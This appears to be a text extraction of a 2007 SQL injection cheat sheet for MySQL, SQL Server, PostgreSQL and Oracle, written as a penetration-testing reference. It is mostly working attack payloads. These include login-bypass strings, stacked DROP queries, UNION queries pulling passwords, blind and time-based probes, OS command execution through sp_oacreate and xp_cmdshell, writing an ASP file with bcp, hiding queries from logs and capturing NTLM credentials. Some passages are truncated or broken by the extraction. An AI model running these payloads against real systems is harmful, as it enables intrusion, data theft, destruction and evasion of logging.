SQL Injection Cheat Sheet
SQL Injection Cheat Sheet
Samples are provided to allow reader to get basic idea of a potential attack and almost every
section includes a brief information about itself.
M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
Examples;
Table Of Contents
1. About SQL Injection Cheat Sheet
2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
1. Line Comments
SQL Injection Attack Samples
2. Inline Comments
Classical Inline Comment SQL Injection Attack Samples
MySQL Version Detection Sample Attacks
3. Stacking Queries
Language / Database Stacked Query Support Table
1
Stacked SQL Injection Attack Samples
4. If Statements
MySQL If Statement
SQL Server If Statement
If Statement SQL Injection Attack Samples
5. Using Integers
6. String Operations
String Concatenation
7. Strings without Quotes
Hex based SQL Injection Samples
8. String Modification & Related
9. Union Injections
UNION – Fixing Language Issues
10. Bypassing Login Screens
11. Enabling xp_cmdshell in SQL Server 2005
12. Other parts are not so well formatted but check out by yourself, drafts, notes and
stuff, scroll down and see.
Line Comments
-- (SM)
DROP sampletable;--
# (M)
DROP sampletable;#
Username: admin'--
SELECT * FROM members WHERE username = 'admin'-- ' AND password =
'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing
blacklisting, removing spaces, obfuscating and determining database versions.
2
SELECT/*avoid-spaces*/password/**/FROM/**/Members
Stacking Queries
Executing more than one query in one transaction. This is very useful in every
injection point, especially in SQL Server back ended applications.
; (S)
SELECT * FROM members; DROP members--
ASP
ASP.NET
PHP
Java
3
About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries
(I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports
stacked queries but because of database layer in most of the configurations it’s not possible
to execute second query in PHP-MySQL applications or maybe MySQL client supports this,
not quite sure. Can someone clarify?
This will run DROP members SQL sentence after normal SQL Query.
If Statements
Get response based on a if statement. This is one of the key points of Blind SQL
Injection, also can be very useful to test simple stuff blindly and accurately.
MySQL If Statement
IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')
Using Integers
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
0xHEXNUMBER (SM)
You can write hex like these;
String Operations
String related operations. These can be quite useful to build up injections which are not
using any quotes, bypass any other black listing or determine back end database.
4
String Concatenation
+ (S)
SELECT login + '-' + password FROM members
|| (*MO)
SELECT login || '-' || password FROM members
These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and
CONCAT()(M) to generate string without quotes.
SELECT ASCII('a')
CHAR() (SM)
Convert an integer of ASCII.
SELECT CHAR(64)
5
Union Injections
With union you do SQL queries cross-table. Basically you can poison query to return records
from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM
members
This will combine results from both news table and members table and return all of them.
Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
While exploiting Union injections sometimes you get errors because of different language
settings (table settings, field settings, combined table / db settings etc.) these functions are
quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish
etc. applications then you will see it.
MySQL (M)
Hex() for every possible issue
If application is first getting the record by username and then compare returned MD5 with
supplied password's MD5 then you need to some extra tricks to fool application to bypass
authentication. You can union results with a known password and MD5 hash of supplied
6
instead of MD5 from database.
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- so on
Keep going until get an error. Error means you found the number of selected columns.
Hints,
Always use UNION with ALL because of image similiar non-distinct field types. By
default union tries to get records with distinct.
To get rid of unrequired records from left table use -1 or any not exist record search in
the beginning of query (if injection is in WHERE). This can be critical if you are only
getting one result at a time.
Use NULL in UNION injections for most data type instead of trying to guess string,
date, integer etc.
Be careful in Blind situtaions may you can understand error is coming from DB or
application itself. Because languages like ASP.NET generally throws errors while
trying to use NULL values (because normally developers are not expecting to see
NULL in a username field)
7
' union select sum(columntofind) from users-- (S)
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or
average aggregate operation cannot take a varchar data type as
an argument.
You’ll get convert() errors before union target errors ! So start with convert() then
union
@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it
like any other column, you don't need to supply table name. Also you can use insert, update
statements or in functions.
8
Insert a file content to a table. If you don't know internal path of web application you can
read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml)
and then search in it to identify application path.
BCP (S)
Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot
\runcommand.asp -c -Slocalhost -Usa -Pfoobar
You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o
out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Well known trick, By default it's disabled in SQL Server 2005. You need to have admin
access.
Simple ping check (configure your firewall or sniffer to identify request before launch it),
You can not read results directly from error or union or something else.
Error Messages
master..sysmessages
Linked Servers
master..sysservers
Password (2000 and 20005 both can be crackable, they use very similar hashing
algorithm )
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
You can not use sub selects in SQL Server Insert queries.
10
1,'x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection
By default xp_cmdshell and couple of other potentially dangerous stored procedures are
disabled in SQL Server 2005. If you have admin access then you can enable these.
Fast way to extract data from Error Based SQL Injections in SQL Server (S)
11
name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP
end;--
Detailed Article : Fast way to extract data from Error Based SQL Injections
In a quite good production application generally you can not see error responses on
the page, so you can not extract data through Union attacks or error based attacks. You
have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql
Injections.
Normal Blind, You can not see a response in the page but you can still determine result of
a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an
injection a logging function or similar. Not so common though.
In normal blinds you can use if statements or abuse WHERE query in injection
(generally easier), in totally blinds you need to use some waiting functions and analyze
response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server,
BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in
ORACLE.
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server
back ended application and enumerating table names. This requests done for first char of
the first table name. SQL queries a bit more complex then requirement because of
automation reasons. In we are trying to determine an ascii value of a char via binary search
algorithm.
12
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects
WHERE xtYpe=0x55)),1,1)),0)>89--
Since both of the last 2 queries failed we clearly know table name's first char's ascii
value is 80 which means first char is `P`. This is the way to exploit Blind SQL
injections by binary search algorithm. Other well known way is reading data bit by bit. Both
can be effective in different conditions.
First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference.
Second, be careful while using times more than 20-30 seconds. database API connection or
script can be timeout.
This is just like sleep, wait for spesified time. CPU safe way to make database wait.
13
Real World Samples
Are we 'sa' ?
if (select user) = 'sa' waitfor delay '0:0:10'
ProductID = 1;waitfor delay '0:0:10'--
ProductID =1);waitfor delay '0:0:10'--
ProductID =1';waitfor delay '0:0:10'--
ProductID =1');waitfor delay '0:0:10'--
ProductID =1));waitfor delay '0:0:10'--
ProductID =1'));waitfor delay '0:0:10'--
BENCHMARK() (M)
Basically we are abusing this command to make MySQL wait a bit. Be careful you will
consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
pg_sleep(seconds) (P)
SELECT pg_sleep(10);
Sleep 10 seconds.
Covering Tracks
SQL Server -sp_password log bypass (S)
SQL Server don't log queries which includes sp_password for security reasons(!). So if you
add --sp_password to your queries it will not be in SQL Server logs (of course still will be in
web server logs, try to use POST if it's possible)
1. product.asp?id=4 (SMO)
a. product.asp?id=5-1
b. product.asp?id=4 OR 1=1
14
2. product.asp?name=Book
a. product.asp?name=Bo’%2b’ok
b. product.asp?name=Bo’ || ’ok (OM)
c. product.asp?name=Book’ OR ‘x’=’x
MD5()
15
MD5 Hashing
SHA1()
SHA1 Hashing
PASSWORD()
ENCODE()
COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections.
ROW_COUNT()
SCHEMA()
VERSION()
Same as @@version
If application is using name field in an unsafe stored procedure or function, process etc.
then it will insert first users password as your name etc.
This attack can help you to get SQL Server user's Windows password of target server, but
possibly you inbound connection will be firewalled. Can be very useful internal penetration
tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM
session with a tool like Cain & Abel.
Check out Bulk Insert Reference to understand how can you use bulk insert.
References
Since these notes collected from several different sources within several years and
personal experiences, may I missed some references. If you believe I missed yours or
someone else then drop me an email (ferruh-at-mavituna.com), I'll update it as soon as
possible.
Lots of Stuff
Advanced SQL Injection In SQL Applications, Chris Anley
More Advanced SQL Injection In SQL Applications, Chris Anley
Blindfolded SQL Injection, Ofer Maor – Amichai Shulman
Hackproofing MySQL, Chris Anley
Database Hacker's Handbook, David Litchfield, Chris Anley, John Heasman, Bill
16
Upstairs Team!
MSSQL Related
MSSQL Operators - http://msdn2.microsoft.com/en-us/library
/aa276846(SQL.80).aspx
Transact-SQL Reference - http://msdn2.microsoft.com/en-us/library
/aa299742(SQL.80).aspx
String Functions (Transact-SQL) - http://msdn2.microsoft.com/en-us/library
/ms181984.aspx
List of MSSQL Server Collation Names - http://msdn2.microsoft.com/en-us
/library/ms180175.aspx
MSSQL Server 2005 Login Information and some other functions : Sumit
Siddharth
MySQL Related
Comments : http://dev.mysql.com/doc/
Control Flows - http://dev.mysql.com/doc/refman/5.0/en/control-
flow-functions.html
MySQL Gotchas - http://sql-info.de/mysql/gotchas.htm
New SQL Injection Concept, Tonu Samuel
ChangeLog
15/03/2007 - Public Release v1.0
16/03/2007 - v1.1
Links added for some paper and book references
Collation sample added
Some typos fixed
Styles and Formatting improved
New MySQL version and comment samples
PostgreSQL Added to Ascii and legends, pg_sleep() added blind section
Blind SQL Injection section and improvements, new samples
Reference paper added for MySQL comments
21/03/2007 - v1.2
BENCHMARK() sample changed to avoid people DoS their MySQL Servers
More Formatting and Typo
Descriptions for some MySQL Function
30/03/2007 v1.3
Niko pointed out PotsgreSQL and PHP supports stacked queries
Bypassing second MD5 check login screens description and attack added
Mark came with extracting NTLM session idea, added
Detailed Blind SQL Exploitation added
13/04/2007 v1.4 - Release
SQL Server 2005 enabling xp_cmdshell added (trick learned from mark)
Japanese version of SQL Injection Cheat Sheet released (v1.1)
To Do / Contact / Help
I got lots of notes for ORACLE, PostgreSQL, DB2 and MS Access and some of
17
a new trick, not here thing just drop me an email (ferruh-at-mavituna.com).
18